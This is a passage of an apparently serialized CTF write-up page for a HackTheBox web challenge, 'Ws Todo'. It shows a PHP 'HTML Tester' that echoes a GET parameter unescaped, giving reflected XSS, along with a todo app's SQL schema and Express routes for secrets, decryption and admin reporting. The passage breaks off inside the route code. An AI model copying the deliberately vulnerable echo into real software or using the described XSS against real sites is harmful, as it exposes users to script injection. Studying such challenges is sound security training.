[{"data":1,"prerenderedAt":7664},["ShallowReactive",2],{"content-query-HGzboF0Atb":3},{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":7,"head":9,"body":25,"_type":7659,"_id":7660,"_source":7427,"_file":7661,"_stem":7662,"_extension":7663},"/writeups/ws-todo","writeups",false,"","Ws Todo",{"title":8,"description":10,"keywords":11,"slug":12,"image":13,"date":14,"meta":15},"Ws todo is a medium web challenge from htb. This challenge is about websockets and xss.","web,websockets,xss,puppeteer","ws-todo","https://res.cloudinary.com/dmju5zuhr/image/upload/v1743778294/writeups/htb.webp","2022-12-26",[16,17,19,20,21,23],{"og:description":10},{"og:title":18},"Ws todo writeup",{"og:image":13},{"description":10},{"title":22},"Ws Todo writeup",{"keywords":24},"web,websockets,xss,puppeteer,htb,ctf",{"type":26,"children":27,"toc":7651},"root",[28,35,42,65,85,92,113,664,685,691,703,716,1044,1049,2084,2104,2117,3537,3549,3555,3568,5779,5820,6192,6203,6214,6255,6266,6272,6277,6399,6411,6416,6427,6432,6443,6565,6613,6618,6783,6789,6811,7328,7333,7463,7475,7487,7640,7645],{"type":29,"tag":30,"props":31,"children":32},"element","h1",{"id":12},[33],{"type":34,"value":8},"text",{"type":29,"tag":36,"props":37,"children":39},"h2",{"id":38},"introduction",[40],{"type":34,"value":41},"Introduction",{"type":29,"tag":43,"props":44,"children":45},"p",{},[46,48,55,57,63],{"type":34,"value":47},"Ws Todo is an medium web challenge from HTB.\nThere are two webs apps running on the machine, one is a ",{"type":29,"tag":49,"props":50,"children":52},"code",{"className":51},[],[53],{"type":34,"value":54},"todo app",{"type":34,"value":56}," and the other is a ",{"type":29,"tag":49,"props":58,"children":60},{"className":59},[],[61],{"type":34,"value":62},"html tester",{"type":34,"value":64},".",{"type":29,"tag":43,"props":66,"children":67},{},[68,70,76,78,84],{"type":34,"value":69},"The flag is in the todo element of the todo app. But it protected and we need to have ",{"type":29,"tag":49,"props":71,"children":73},{"className":72},[],[74],{"type":34,"value":75},"userId == 1",{"type":34,"value":77}," to access it. Furthermore, the content of a todo is encryted with a ",{"type":29,"tag":49,"props":79,"children":81},{"className":80},[],[82],{"type":34,"value":83},"secret key",{"type":34,"value":64},{"type":29,"tag":86,"props":87,"children":89},"h3",{"id":88},"html-tester",[90],{"type":34,"value":91},"HTML Tester",{"type":29,"tag":43,"props":93,"children":94},{},[95,97,103,105,111],{"type":34,"value":96},"The HTML tester is a simple php file, that is get a parameter ",{"type":29,"tag":49,"props":98,"children":100},{"className":99},[],[101],{"type":34,"value":102},"html",{"type":34,"value":104}," from url and display it inside a ",{"type":29,"tag":49,"props":106,"children":108},{"className":107},[],[109],{"type":34,"value":110},"echo",{"type":34,"value":112}," statement.",{"type":29,"tag":114,"props":115,"children":117},"code-card",{"lang":116},"php",[118],{"type":29,"tag":119,"props":120,"children":123},"pre",{"code":121,"language":116,"meta":7,"className":122,"style":7},"\u003Chtml>\n    \u003Cbody>\n        \u003C?php if (isset($_GET['html'])): ?>\n            \u003C?php echo $_GET['html']; ?>\n        \u003C?php else: ?>\n            \u003Ch1>HTML Tester\u003C/h1>\n            \u003Cp>Internal development tool\u003C/p>\n            \u003Cform action=\"index.php\" method=\"get\">\n                \u003Cinput type=\"text\" name=\"html\" />\n                \u003Cinput type=\"submit\" value=\"Submit\" />\n            \u003C/form>\n        \u003C?php endif; ?>\n    \u003C/body>\n\u003C/html>\n","language-php shiki shiki-themes vitesse-dark",[124],{"type":29,"tag":49,"props":125,"children":126},{"__ignoreMap":7},[127,149,167,244,296,321,362,405,468,529,588,605,631,648],{"type":29,"tag":128,"props":129,"children":132},"span",{"class":130,"line":131},"line",1,[133,139,144],{"type":29,"tag":128,"props":134,"children":136},{"style":135},"--shiki-default:#CB7676",[137],{"type":34,"value":138},"\u003C",{"type":29,"tag":128,"props":140,"children":142},{"style":141},"--shiki-default:#C99076",[143],{"type":34,"value":102},{"type":29,"tag":128,"props":145,"children":146},{"style":135},[147],{"type":34,"value":148},">\n",{"type":29,"tag":128,"props":150,"children":152},{"class":130,"line":151},2,[153,158,163],{"type":29,"tag":128,"props":154,"children":155},{"style":135},[156],{"type":34,"value":157},"    \u003C",{"type":29,"tag":128,"props":159,"children":160},{"style":141},[161],{"type":34,"value":162},"body",{"type":29,"tag":128,"props":164,"children":165},{"style":135},[166],{"type":34,"value":148},{"type":29,"tag":128,"props":168,"children":170},{"class":130,"line":169},3,[171,176,180,186,192,198,203,209,214,220,225,229,234,239],{"type":29,"tag":128,"props":172,"children":173},{"style":135},[174],{"type":34,"value":175},"        \u003C?",{"type":29,"tag":128,"props":177,"children":178},{"style":141},[179],{"type":34,"value":116},{"type":29,"tag":128,"props":181,"children":183},{"style":182},"--shiki-default:#4D9375",[184],{"type":34,"value":185}," if",{"type":29,"tag":128,"props":187,"children":189},{"style":188},"--shiki-default:#666666",[190],{"type":34,"value":191}," (",{"type":29,"tag":128,"props":193,"children":195},{"style":194},"--shiki-default:#B8A965",[196],{"type":34,"value":197},"isset",{"type":29,"tag":128,"props":199,"children":200},{"style":188},[201],{"type":34,"value":202},"($",{"type":29,"tag":128,"props":204,"children":206},{"style":205},"--shiki-default:#BD976A",[207],{"type":34,"value":208},"_GET",{"type":29,"tag":128,"props":210,"children":211},{"style":188},[212],{"type":34,"value":213},"[",{"type":29,"tag":128,"props":215,"children":217},{"style":216},"--shiki-default:#C98A7D77",[218],{"type":34,"value":219},"'",{"type":29,"tag":128,"props":221,"children":223},{"style":222},"--shiki-default:#C98A7D",[224],{"type":34,"value":102},{"type":29,"tag":128,"props":226,"children":227},{"style":216},[228],{"type":34,"value":219},{"type":29,"tag":128,"props":230,"children":231},{"style":188},[232],{"type":34,"value":233},"]))",{"type":29,"tag":128,"props":235,"children":236},{"style":135},[237],{"type":34,"value":238},":",{"type":29,"tag":128,"props":240,"children":241},{"style":135},[242],{"type":34,"value":243}," ?>\n",{"type":29,"tag":128,"props":245,"children":247},{"class":130,"line":246},4,[248,253,257,262,267,271,275,279,283,287,292],{"type":29,"tag":128,"props":249,"children":250},{"style":135},[251],{"type":34,"value":252},"            \u003C?",{"type":29,"tag":128,"props":254,"children":255},{"style":141},[256],{"type":34,"value":116},{"type":29,"tag":128,"props":258,"children":259},{"style":194},[260],{"type":34,"value":261}," echo",{"type":29,"tag":128,"props":263,"children":264},{"style":188},[265],{"type":34,"value":266}," $",{"type":29,"tag":128,"props":268,"children":269},{"style":205},[270],{"type":34,"value":208},{"type":29,"tag":128,"props":272,"children":273},{"style":188},[274],{"type":34,"value":213},{"type":29,"tag":128,"props":276,"children":277},{"style":216},[278],{"type":34,"value":219},{"type":29,"tag":128,"props":280,"children":281},{"style":222},[282],{"type":34,"value":102},{"type":29,"tag":128,"props":284,"children":285},{"style":216},[286],{"type":34,"value":219},{"type":29,"tag":128,"props":288,"children":289},{"style":188},[290],{"type":34,"value":291},"];",{"type":29,"tag":128,"props":293,"children":294},{"style":135},[295],{"type":34,"value":243},{"type":29,"tag":128,"props":297,"children":299},{"class":130,"line":298},5,[300,304,308,313,317],{"type":29,"tag":128,"props":301,"children":302},{"style":135},[303],{"type":34,"value":175},{"type":29,"tag":128,"props":305,"children":306},{"style":141},[307],{"type":34,"value":116},{"type":29,"tag":128,"props":309,"children":310},{"style":182},[311],{"type":34,"value":312}," else",{"type":29,"tag":128,"props":314,"children":315},{"style":135},[316],{"type":34,"value":238},{"type":29,"tag":128,"props":318,"children":319},{"style":135},[320],{"type":34,"value":243},{"type":29,"tag":128,"props":322,"children":324},{"class":130,"line":323},6,[325,330,334,339,344,349,354,358],{"type":29,"tag":128,"props":326,"children":327},{"style":135},[328],{"type":34,"value":329},"            \u003C",{"type":29,"tag":128,"props":331,"children":332},{"style":141},[333],{"type":34,"value":30},{"type":29,"tag":128,"props":335,"children":336},{"style":135},[337],{"type":34,"value":338},">",{"type":29,"tag":128,"props":340,"children":341},{"style":141},[342],{"type":34,"value":343},"HTML",{"type":29,"tag":128,"props":345,"children":346},{"style":141},[347],{"type":34,"value":348}," Tester",{"type":29,"tag":128,"props":350,"children":351},{"style":135},[352],{"type":34,"value":353},"\u003C/",{"type":29,"tag":128,"props":355,"children":356},{"style":141},[357],{"type":34,"value":30},{"type":29,"tag":128,"props":359,"children":360},{"style":135},[361],{"type":34,"value":148},{"type":29,"tag":128,"props":363,"children":365},{"class":130,"line":364},7,[366,370,374,378,383,388,393,397,401],{"type":29,"tag":128,"props":367,"children":368},{"style":135},[369],{"type":34,"value":329},{"type":29,"tag":128,"props":371,"children":372},{"style":141},[373],{"type":34,"value":43},{"type":29,"tag":128,"props":375,"children":376},{"style":135},[377],{"type":34,"value":338},{"type":29,"tag":128,"props":379,"children":380},{"style":141},[381],{"type":34,"value":382},"Internal",{"type":29,"tag":128,"props":384,"children":385},{"style":141},[386],{"type":34,"value":387}," development",{"type":29,"tag":128,"props":389,"children":390},{"style":141},[391],{"type":34,"value":392}," tool",{"type":29,"tag":128,"props":394,"children":395},{"style":135},[396],{"type":34,"value":353},{"type":29,"tag":128,"props":398,"children":399},{"style":141},[400],{"type":34,"value":43},{"type":29,"tag":128,"props":402,"children":403},{"style":135},[404],{"type":34,"value":148},{"type":29,"tag":128,"props":406,"children":408},{"class":130,"line":407},8,[409,413,418,423,428,433,438,442,447,451,455,460,464],{"type":29,"tag":128,"props":410,"children":411},{"style":135},[412],{"type":34,"value":329},{"type":29,"tag":128,"props":414,"children":415},{"style":141},[416],{"type":34,"value":417},"form",{"type":29,"tag":128,"props":419,"children":420},{"style":141},[421],{"type":34,"value":422}," action",{"type":29,"tag":128,"props":424,"children":425},{"style":188},[426],{"type":34,"value":427},"=",{"type":29,"tag":128,"props":429,"children":430},{"style":216},[431],{"type":34,"value":432},"\"",{"type":29,"tag":128,"props":434,"children":435},{"style":222},[436],{"type":34,"value":437},"index.php",{"type":29,"tag":128,"props":439,"children":440},{"style":216},[441],{"type":34,"value":432},{"type":29,"tag":128,"props":443,"children":444},{"style":141},[445],{"type":34,"value":446}," method",{"type":29,"tag":128,"props":448,"children":449},{"style":188},[450],{"type":34,"value":427},{"type":29,"tag":128,"props":452,"children":453},{"style":216},[454],{"type":34,"value":432},{"type":29,"tag":128,"props":456,"children":457},{"style":222},[458],{"type":34,"value":459},"get",{"type":29,"tag":128,"props":461,"children":462},{"style":216},[463],{"type":34,"value":432},{"type":29,"tag":128,"props":465,"children":466},{"style":135},[467],{"type":34,"value":148},{"type":29,"tag":128,"props":469,"children":471},{"class":130,"line":470},9,[472,477,482,487,491,495,499,503,508,512,516,520,524],{"type":29,"tag":128,"props":473,"children":474},{"style":135},[475],{"type":34,"value":476},"                \u003C",{"type":29,"tag":128,"props":478,"children":479},{"style":141},[480],{"type":34,"value":481},"input",{"type":29,"tag":128,"props":483,"children":484},{"style":141},[485],{"type":34,"value":486}," type",{"type":29,"tag":128,"props":488,"children":489},{"style":188},[490],{"type":34,"value":427},{"type":29,"tag":128,"props":492,"children":493},{"style":216},[494],{"type":34,"value":432},{"type":29,"tag":128,"props":496,"children":497},{"style":222},[498],{"type":34,"value":34},{"type":29,"tag":128,"props":500,"children":501},{"style":216},[502],{"type":34,"value":432},{"type":29,"tag":128,"props":504,"children":505},{"style":141},[506],{"type":34,"value":507}," name",{"type":29,"tag":128,"props":509,"children":510},{"style":188},[511],{"type":34,"value":427},{"type":29,"tag":128,"props":513,"children":514},{"style":216},[515],{"type":34,"value":432},{"type":29,"tag":128,"props":517,"children":518},{"style":222},[519],{"type":34,"value":102},{"type":29,"tag":128,"props":521,"children":522},{"style":216},[523],{"type":34,"value":432},{"type":29,"tag":128,"props":525,"children":526},{"style":135},[527],{"type":34,"value":528}," />\n",{"type":29,"tag":128,"props":530,"children":532},{"class":130,"line":531},10,[533,537,541,545,549,553,558,562,567,571,575,580,584],{"type":29,"tag":128,"props":534,"children":535},{"style":135},[536],{"type":34,"value":476},{"type":29,"tag":128,"props":538,"children":539},{"style":141},[540],{"type":34,"value":481},{"type":29,"tag":128,"props":542,"children":543},{"style":141},[544],{"type":34,"value":486},{"type":29,"tag":128,"props":546,"children":547},{"style":188},[548],{"type":34,"value":427},{"type":29,"tag":128,"props":550,"children":551},{"style":216},[552],{"type":34,"value":432},{"type":29,"tag":128,"props":554,"children":555},{"style":222},[556],{"type":34,"value":557},"submit",{"type":29,"tag":128,"props":559,"children":560},{"style":216},[561],{"type":34,"value":432},{"type":29,"tag":128,"props":563,"children":564},{"style":141},[565],{"type":34,"value":566}," value",{"type":29,"tag":128,"props":568,"children":569},{"style":188},[570],{"type":34,"value":427},{"type":29,"tag":128,"props":572,"children":573},{"style":216},[574],{"type":34,"value":432},{"type":29,"tag":128,"props":576,"children":577},{"style":222},[578],{"type":34,"value":579},"Submit",{"type":29,"tag":128,"props":581,"children":582},{"style":216},[583],{"type":34,"value":432},{"type":29,"tag":128,"props":585,"children":586},{"style":135},[587],{"type":34,"value":528},{"type":29,"tag":128,"props":589,"children":591},{"class":130,"line":590},11,[592,597,601],{"type":29,"tag":128,"props":593,"children":594},{"style":135},[595],{"type":34,"value":596},"            \u003C/",{"type":29,"tag":128,"props":598,"children":599},{"style":141},[600],{"type":34,"value":417},{"type":29,"tag":128,"props":602,"children":603},{"style":135},[604],{"type":34,"value":148},{"type":29,"tag":128,"props":606,"children":608},{"class":130,"line":607},12,[609,613,617,622,627],{"type":29,"tag":128,"props":610,"children":611},{"style":135},[612],{"type":34,"value":175},{"type":29,"tag":128,"props":614,"children":615},{"style":141},[616],{"type":34,"value":116},{"type":29,"tag":128,"props":618,"children":619},{"style":182},[620],{"type":34,"value":621}," endif",{"type":29,"tag":128,"props":623,"children":624},{"style":188},[625],{"type":34,"value":626},";",{"type":29,"tag":128,"props":628,"children":629},{"style":135},[630],{"type":34,"value":243},{"type":29,"tag":128,"props":632,"children":634},{"class":130,"line":633},13,[635,640,644],{"type":29,"tag":128,"props":636,"children":637},{"style":135},[638],{"type":34,"value":639},"    \u003C/",{"type":29,"tag":128,"props":641,"children":642},{"style":141},[643],{"type":34,"value":162},{"type":29,"tag":128,"props":645,"children":646},{"style":135},[647],{"type":34,"value":148},{"type":29,"tag":128,"props":649,"children":651},{"class":130,"line":650},14,[652,656,660],{"type":29,"tag":128,"props":653,"children":654},{"style":135},[655],{"type":34,"value":353},{"type":29,"tag":128,"props":657,"children":658},{"style":141},[659],{"type":34,"value":102},{"type":29,"tag":128,"props":661,"children":662},{"style":135},[663],{"type":34,"value":148},{"type":29,"tag":43,"props":665,"children":666},{},[667,669,675,677,683],{"type":34,"value":668},"This is really simple to see that service have a ",{"type":29,"tag":49,"props":670,"children":672},{"className":671},[],[673],{"type":34,"value":674},"XSS",{"type":34,"value":676}," vulnerability. We can inject a ",{"type":29,"tag":49,"props":678,"children":680},{"className":679},[],[681],{"type":34,"value":682},"script",{"type":34,"value":684}," in GET parameters.",{"type":29,"tag":86,"props":686,"children":688},{"id":687},"todo-app-main-service",[689],{"type":34,"value":690},"Todo App (main service)",{"type":29,"tag":43,"props":692,"children":693},{},[694,696,701],{"type":34,"value":695},"The Todo app is a express app with a mysql database. When you have an account you can create a todo and add some content. The content is encrypted with a ",{"type":29,"tag":49,"props":697,"children":699},{"className":698},[],[700],{"type":34,"value":83},{"type":34,"value":702}," that is stored in the database.",{"type":29,"tag":43,"props":704,"children":705},{},[706,708,714],{"type":34,"value":707},"There is definitions of the database in ",{"type":29,"tag":49,"props":709,"children":711},{"className":710},[],[712],{"type":34,"value":713},"db.sql",{"type":34,"value":715}," file:",{"type":29,"tag":114,"props":717,"children":719},{"lang":718},"sql",[720],{"type":29,"tag":119,"props":721,"children":724},{"code":722,"language":718,"meta":7,"className":723,"style":7},"CREATE TABLE users (\n    id INT NOT NULL AUTO_INCREMENT,\n    username VARCHAR(255) NOT NULL,\n    password VARCHAR(255) NOT NULL,\n    secret VARCHAR(255) NOT NULL,\n    PRIMARY KEY (id)\n);\n\nCREATE TABLE todos (\n    id INT NOT NULL AUTO_INCREMENT,\n    user_id INT NOT NULL,\n    data VARCHAR(255) NOT NULL,\n    PRIMARY KEY (id),\n    FOREIGN KEY (user_id) REFERENCES users(id)\n);\n","language-sql shiki shiki-themes vitesse-dark",[725],{"type":29,"tag":49,"props":726,"children":727},{"__ignoreMap":7},[728,753,776,815,848,880,893,901,910,930,949,969,1001,1013,1036],{"type":29,"tag":128,"props":729,"children":730},{"class":130,"line":131},[731,736,741,747],{"type":29,"tag":128,"props":732,"children":733},{"style":182},[734],{"type":34,"value":735},"CREATE",{"type":29,"tag":128,"props":737,"children":738},{"style":182},[739],{"type":34,"value":740}," TABLE",{"type":29,"tag":128,"props":742,"children":744},{"style":743},"--shiki-default:#80A665",[745],{"type":34,"value":746}," users",{"type":29,"tag":128,"props":748,"children":750},{"style":749},"--shiki-default:#DBD7CAEE",[751],{"type":34,"value":752}," (\n",{"type":29,"tag":128,"props":754,"children":755},{"class":130,"line":151},[756,761,766,771],{"type":29,"tag":128,"props":757,"children":758},{"style":749},[759],{"type":34,"value":760},"    id ",{"type":29,"tag":128,"props":762,"children":763},{"style":135},[764],{"type":34,"value":765},"INT",{"type":29,"tag":128,"props":767,"children":768},{"style":182},[769],{"type":34,"value":770}," NOT NULL",{"type":29,"tag":128,"props":772,"children":773},{"style":749},[774],{"type":34,"value":775}," AUTO_INCREMENT,\n",{"type":29,"tag":128,"props":777,"children":778},{"class":130,"line":169},[779,784,789,794,800,805,810],{"type":29,"tag":128,"props":780,"children":781},{"style":749},[782],{"type":34,"value":783},"    username ",{"type":29,"tag":128,"props":785,"children":786},{"style":135},[787],{"type":34,"value":788},"VARCHAR",{"type":29,"tag":128,"props":790,"children":791},{"style":749},[792],{"type":34,"value":793},"(",{"type":29,"tag":128,"props":795,"children":797},{"style":796},"--shiki-default:#4C9A91",[798],{"type":34,"value":799},"255",{"type":29,"tag":128,"props":801,"children":802},{"style":749},[803],{"type":34,"value":804},") ",{"type":29,"tag":128,"props":806,"children":807},{"style":182},[808],{"type":34,"value":809},"NOT NULL",{"type":29,"tag":128,"props":811,"children":812},{"style":749},[813],{"type":34,"value":814},",\n",{"type":29,"tag":128,"props":816,"children":817},{"class":130,"line":246},[818,823,828,832,836,840,844],{"type":29,"tag":128,"props":819,"children":820},{"style":182},[821],{"type":34,"value":822},"    password",{"type":29,"tag":128,"props":824,"children":825},{"style":135},[826],{"type":34,"value":827}," VARCHAR",{"type":29,"tag":128,"props":829,"children":830},{"style":749},[831],{"type":34,"value":793},{"type":29,"tag":128,"props":833,"children":834},{"style":796},[835],{"type":34,"value":799},{"type":29,"tag":128,"props":837,"children":838},{"style":749},[839],{"type":34,"value":804},{"type":29,"tag":128,"props":841,"children":842},{"style":182},[843],{"type":34,"value":809},{"type":29,"tag":128,"props":845,"children":846},{"style":749},[847],{"type":34,"value":814},{"type":29,"tag":128,"props":849,"children":850},{"class":130,"line":298},[851,856,860,864,868,872,876],{"type":29,"tag":128,"props":852,"children":853},{"style":182},[854],{"type":34,"value":855},"    secret",{"type":29,"tag":128,"props":857,"children":858},{"style":135},[859],{"type":34,"value":827},{"type":29,"tag":128,"props":861,"children":862},{"style":749},[863],{"type":34,"value":793},{"type":29,"tag":128,"props":865,"children":866},{"style":796},[867],{"type":34,"value":799},{"type":29,"tag":128,"props":869,"children":870},{"style":749},[871],{"type":34,"value":804},{"type":29,"tag":128,"props":873,"children":874},{"style":182},[875],{"type":34,"value":809},{"type":29,"tag":128,"props":877,"children":878},{"style":749},[879],{"type":34,"value":814},{"type":29,"tag":128,"props":881,"children":882},{"class":130,"line":323},[883,888],{"type":29,"tag":128,"props":884,"children":885},{"style":135},[886],{"type":34,"value":887},"    PRIMARY KEY",{"type":29,"tag":128,"props":889,"children":890},{"style":749},[891],{"type":34,"value":892}," (id)\n",{"type":29,"tag":128,"props":894,"children":895},{"class":130,"line":364},[896],{"type":29,"tag":128,"props":897,"children":898},{"style":749},[899],{"type":34,"value":900},");\n",{"type":29,"tag":128,"props":902,"children":903},{"class":130,"line":407},[904],{"type":29,"tag":128,"props":905,"children":907},{"emptyLinePlaceholder":906},true,[908],{"type":34,"value":909},"\n",{"type":29,"tag":128,"props":911,"children":912},{"class":130,"line":470},[913,917,921,926],{"type":29,"tag":128,"props":914,"children":915},{"style":182},[916],{"type":34,"value":735},{"type":29,"tag":128,"props":918,"children":919},{"style":182},[920],{"type":34,"value":740},{"type":29,"tag":128,"props":922,"children":923},{"style":743},[924],{"type":34,"value":925}," todos",{"type":29,"tag":128,"props":927,"children":928},{"style":749},[929],{"type":34,"value":752},{"type":29,"tag":128,"props":931,"children":932},{"class":130,"line":531},[933,937,941,945],{"type":29,"tag":128,"props":934,"children":935},{"style":749},[936],{"type":34,"value":760},{"type":29,"tag":128,"props":938,"children":939},{"style":135},[940],{"type":34,"value":765},{"type":29,"tag":128,"props":942,"children":943},{"style":182},[944],{"type":34,"value":770},{"type":29,"tag":128,"props":946,"children":947},{"style":749},[948],{"type":34,"value":775},{"type":29,"tag":128,"props":950,"children":951},{"class":130,"line":590},[952,957,961,965],{"type":29,"tag":128,"props":953,"children":954},{"style":749},[955],{"type":34,"value":956},"    user_id ",{"type":29,"tag":128,"props":958,"children":959},{"style":135},[960],{"type":34,"value":765},{"type":29,"tag":128,"props":962,"children":963},{"style":182},[964],{"type":34,"value":770},{"type":29,"tag":128,"props":966,"children":967},{"style":749},[968],{"type":34,"value":814},{"type":29,"tag":128,"props":970,"children":971},{"class":130,"line":607},[972,977,981,985,989,993,997],{"type":29,"tag":128,"props":973,"children":974},{"style":182},[975],{"type":34,"value":976},"    data",{"type":29,"tag":128,"props":978,"children":979},{"style":135},[980],{"type":34,"value":827},{"type":29,"tag":128,"props":982,"children":983},{"style":749},[984],{"type":34,"value":793},{"type":29,"tag":128,"props":986,"children":987},{"style":796},[988],{"type":34,"value":799},{"type":29,"tag":128,"props":990,"children":991},{"style":749},[992],{"type":34,"value":804},{"type":29,"tag":128,"props":994,"children":995},{"style":182},[996],{"type":34,"value":809},{"type":29,"tag":128,"props":998,"children":999},{"style":749},[1000],{"type":34,"value":814},{"type":29,"tag":128,"props":1002,"children":1003},{"class":130,"line":633},[1004,1008],{"type":29,"tag":128,"props":1005,"children":1006},{"style":135},[1007],{"type":34,"value":887},{"type":29,"tag":128,"props":1009,"children":1010},{"style":749},[1011],{"type":34,"value":1012}," (id),\n",{"type":29,"tag":128,"props":1014,"children":1015},{"class":130,"line":650},[1016,1021,1026,1031],{"type":29,"tag":128,"props":1017,"children":1018},{"style":135},[1019],{"type":34,"value":1020},"    FOREIGN KEY",{"type":29,"tag":128,"props":1022,"children":1023},{"style":749},[1024],{"type":34,"value":1025}," (user_id) ",{"type":29,"tag":128,"props":1027,"children":1028},{"style":135},[1029],{"type":34,"value":1030},"REFERENCES",{"type":29,"tag":128,"props":1032,"children":1033},{"style":749},[1034],{"type":34,"value":1035}," users(id)\n",{"type":29,"tag":128,"props":1037,"children":1039},{"class":130,"line":1038},15,[1040],{"type":29,"tag":128,"props":1041,"children":1042},{"style":749},[1043],{"type":34,"value":900},{"type":29,"tag":43,"props":1045,"children":1046},{},[1047],{"type":34,"value":1048},"The todo app have many routes but the most important are:",{"type":29,"tag":114,"props":1050,"children":1052},{":lang:js":1051,"lang:js":7},"true",[1053],{"type":29,"tag":119,"props":1054,"children":1058},{"code":1055,"language":1056,"meta":7,"className":1057,"style":7},"router.get('/secret', async (req, res) => {\n    console.log(\"/secret\", req.session.userId)\n    const result = await db.getSecret(req.session.userId);\n    if (result) {\n        return res.status(200).json({ secret: result });\n    }\n    return res.status(400).json({ error: 'No secret found' });\n});\n\nrouter.post('/decrypt', async (req, res) => {\n    if (!req.body.secret) {\n        return res.status(400).json({ error: 'Missing secret' });\n    }\n\n    if (!req.body.cipher) {\n        return res.status(400).json({ error: 'Missing cipher' });\n    }\n\n    try {\n        const result = decrypt(req.body.cipher, req.body.secret);\n        return res.status(200).json({ decrypted: result });\n    } catch (e) {\n        return res.status(400).json({ error: 'Invalid key or cipher' });\n    }\n});\n\n// Report any suspicious activity to the admin!\nrouter.post('/report', doReportHandler);\n","js","language-js shiki shiki-themes vitesse-dark",[1059],{"type":29,"tag":49,"props":1060,"children":1061},{"__ignoreMap":7},[1062,1138,1203,1268,1293,1356,1364,1432,1440,1447,1516,1561,1625,1632,1639,1683,1748,1756,1764,1777,1851,1908,1939,2004,2012,2020,2028,2038],{"type":29,"tag":128,"props":1063,"children":1064},{"class":130,"line":131},[1065,1070,1074,1078,1082,1086,1091,1095,1100,1105,1109,1114,1118,1123,1128,1133],{"type":29,"tag":128,"props":1066,"children":1067},{"style":205},[1068],{"type":34,"value":1069},"router",{"type":29,"tag":128,"props":1071,"children":1072},{"style":188},[1073],{"type":34,"value":64},{"type":29,"tag":128,"props":1075,"children":1076},{"style":743},[1077],{"type":34,"value":459},{"type":29,"tag":128,"props":1079,"children":1080},{"style":188},[1081],{"type":34,"value":793},{"type":29,"tag":128,"props":1083,"children":1084},{"style":216},[1085],{"type":34,"value":219},{"type":29,"tag":128,"props":1087,"children":1088},{"style":222},[1089],{"type":34,"value":1090},"/secret",{"type":29,"tag":128,"props":1092,"children":1093},{"style":216},[1094],{"type":34,"value":219},{"type":29,"tag":128,"props":1096,"children":1097},{"style":188},[1098],{"type":34,"value":1099},",",{"type":29,"tag":128,"props":1101,"children":1102},{"style":135},[1103],{"type":34,"value":1104}," async",{"type":29,"tag":128,"props":1106,"children":1107},{"style":188},[1108],{"type":34,"value":191},{"type":29,"tag":128,"props":1110,"children":1111},{"style":205},[1112],{"type":34,"value":1113},"req",{"type":29,"tag":128,"props":1115,"children":1116},{"style":188},[1117],{"type":34,"value":1099},{"type":29,"tag":128,"props":1119,"children":1120},{"style":205},[1121],{"type":34,"value":1122}," res",{"type":29,"tag":128,"props":1124,"children":1125},{"style":188},[1126],{"type":34,"value":1127},")",{"type":29,"tag":128,"props":1129,"children":1130},{"style":188},[1131],{"type":34,"value":1132}," =>",{"type":29,"tag":128,"props":1134,"children":1135},{"style":188},[1136],{"type":34,"value":1137}," {\n",{"type":29,"tag":128,"props":1139,"children":1140},{"class":130,"line":151},[1141,1146,1150,1155,1159,1163,1167,1171,1175,1180,1184,1189,1193,1198],{"type":29,"tag":128,"props":1142,"children":1143},{"style":205},[1144],{"type":34,"value":1145},"    console",{"type":29,"tag":128,"props":1147,"children":1148},{"style":188},[1149],{"type":34,"value":64},{"type":29,"tag":128,"props":1151,"children":1152},{"style":743},[1153],{"type":34,"value":1154},"log",{"type":29,"tag":128,"props":1156,"children":1157},{"style":188},[1158],{"type":34,"value":793},{"type":29,"tag":128,"props":1160,"children":1161},{"style":216},[1162],{"type":34,"value":432},{"type":29,"tag":128,"props":1164,"children":1165},{"style":222},[1166],{"type":34,"value":1090},{"type":29,"tag":128,"props":1168,"children":1169},{"style":216},[1170],{"type":34,"value":432},{"type":29,"tag":128,"props":1172,"children":1173},{"style":188},[1174],{"type":34,"value":1099},{"type":29,"tag":128,"props":1176,"children":1177},{"style":205},[1178],{"type":34,"value":1179}," req",{"type":29,"tag":128,"props":1181,"children":1182},{"style":188},[1183],{"type":34,"value":64},{"type":29,"tag":128,"props":1185,"children":1186},{"style":205},[1187],{"type":34,"value":1188},"session",{"type":29,"tag":128,"props":1190,"children":1191},{"style":188},[1192],{"type":34,"value":64},{"type":29,"tag":128,"props":1194,"children":1195},{"style":205},[1196],{"type":34,"value":1197},"userId",{"type":29,"tag":128,"props":1199,"children":1200},{"style":188},[1201],{"type":34,"value":1202},")\n",{"type":29,"tag":128,"props":1204,"children":1205},{"class":130,"line":169},[1206,1211,1216,1221,1226,1231,1235,1240,1244,1248,1252,1256,1260,1264],{"type":29,"tag":128,"props":1207,"children":1208},{"style":135},[1209],{"type":34,"value":1210},"    const",{"type":29,"tag":128,"props":1212,"children":1213},{"style":205},[1214],{"type":34,"value":1215}," result",{"type":29,"tag":128,"props":1217,"children":1218},{"style":188},[1219],{"type":34,"value":1220}," =",{"type":29,"tag":128,"props":1222,"children":1223},{"style":182},[1224],{"type":34,"value":1225}," await",{"type":29,"tag":128,"props":1227,"children":1228},{"style":205},[1229],{"type":34,"value":1230}," db",{"type":29,"tag":128,"props":1232,"children":1233},{"style":188},[1234],{"type":34,"value":64},{"type":29,"tag":128,"props":1236,"children":1237},{"style":743},[1238],{"type":34,"value":1239},"getSecret",{"type":29,"tag":128,"props":1241,"children":1242},{"style":188},[1243],{"type":34,"value":793},{"type":29,"tag":128,"props":1245,"children":1246},{"style":205},[1247],{"type":34,"value":1113},{"type":29,"tag":128,"props":1249,"children":1250},{"style":188},[1251],{"type":34,"value":64},{"type":29,"tag":128,"props":1253,"children":1254},{"style":205},[1255],{"type":34,"value":1188},{"type":29,"tag":128,"props":1257,"children":1258},{"style":188},[1259],{"type":34,"value":64},{"type":29,"tag":128,"props":1261,"children":1262},{"style":205},[1263],{"type":34,"value":1197},{"type":29,"tag":128,"props":1265,"children":1266},{"style":188},[1267],{"type":34,"value":900},{"type":29,"tag":128,"props":1269,"children":1270},{"class":130,"line":246},[1271,1276,1280,1285,1289],{"type":29,"tag":128,"props":1272,"children":1273},{"style":182},[1274],{"type":34,"value":1275},"    